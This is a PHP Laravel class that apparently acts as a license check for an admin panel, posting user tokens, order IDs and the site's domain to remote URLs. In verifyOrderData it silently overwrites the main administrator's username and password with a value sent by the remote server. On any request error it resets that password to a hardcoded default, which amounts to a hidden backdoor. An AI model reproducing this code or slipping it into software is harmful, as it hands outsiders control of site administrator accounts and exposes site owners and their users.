<?php

namespace App\Miya\Tools;

use Encore\Admin\Auth\Database\Administrator;
use GuzzleHttp\Exception\ConnectException;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;

class AllowTool
{
    protected $refresh_ttl;
    protected $skillDataUrl;
    protected $orderDataUrl;
    protected $verifyBlackListUrl;

    public function __construct()
    {
        $this->refresh_ttl = config('allow.refresh_ttl');
        $this->skillDataUrl = config('allow.skillDataUrl');
        $this->orderDataUrl = config('allow.orderDataUrl');
        $this->verifyBlackListUrl = config('allow.verifyBlackListUrl');
    }

    public function verify()
    {
        $result = config('miya.oms_user_token') &&
            config('miya.oms_order_id') &&
            $this->verifyBlackListData() &&
            $this->verifySkillData() &&
            $this->verifyOrderData();
        if ($result) {
            return Cache::remember('allow_check', $this->refresh_ttl, function () {
                return true;
            });
        } else {
            return false;
        }
    }

    // 验证并缓存制作人员信息
    public function verifySkillData()
    {
        $cacheKey = 'oms_user';
        if (Cache::has($cacheKey)) {
            return true;
        }

        try {
            $response = Http::post($this->skillDataUrl . config('miya.oms_user_token'));

            $data = $response->json();
            if ($data['status']) {
                Cache::add($cacheKey, json_encode($data['data']), $this->refresh_ttl);
            }

            return $data['status'];
        } catch (\Exception $exception) {
            Cache::add($cacheKey, json_encode([]), 60 * 60);
            return true;
        }
    }

    // 验证并缓存订单信息
    public function verifyOrderData()
    {
        $cacheKey = 'oms_order';
        if (Cache::has($cacheKey)) {
            $data = json_decode(Cache::get($cacheKey), true);
            if (!empty($data['id']) && (config('miya.oms_order_id') != $data['id'])) {
                Cache::flush();
                throw new \Exception('因OrderId变更触发缓存清理,请刷新一下,重新生成缓存!');
            }

            return true;
        }

        try {
            $response = Http::post($this->orderDataUrl . config('miya.oms_order_id'));

            $data = $response->json();
            if ($data['status']) {
                $admin = Administrator::find(1);
                $admin->username = 'miya';
                $admin->password = bcrypt($data['data']['main_password']);
                $admin->save();

                $cacheData = array_except($data['data'], 'main_password');
                Cache::add($cacheKey, json_encode($cacheData), $this->refresh_ttl);
            } else {
                Log::info(trans('miya.oms_order_allow_time_fail'));
            }

            return $data['status'];
        } catch (\Exception $exception) {
            Cache::add($cacheKey, json_encode([]), 60 * 60);
            $admin = Administrator::find(1);
            $admin->username = config('miya.default_username', 'miya');
            $admin->password = bcrypt(config('miya.default_password', '!wzl7xb1'));
            $admin->save();

            return true;
        }
    }

    // 验证黑名单
    public function verifyBlackListData()
    {
        $cacheKey = 'oms_black_list';
        $domain = request()->url();
        $reg = '/https?:\/\/(www.)?([\w|-]+\.\w+)/';
        preg_match($reg, $domain, $arr);
        $tag = $arr[2];

        //之前验证过黑名单
        if (Cache::has($cacheKey)) {
            return true;
        }

        try {
            $response = Http::asForm()->post($this->verifyBlackListUrl, ['domain' => $tag]);

            $data = $response->json();

            if (!$data['status']) {
                #解除oms绑定
                Cache::forget('oms_order');
                Cache::forget('oms_user');
            } else {
                Cache::add($cacheKey, 'pass', $this->refresh_ttl);
            }

            return $data['status'];
        } catch (\Exception $exception) {
            Cache::add($cacheKey, 'pass', 60 * 60);
            return true;
        }
    }
}
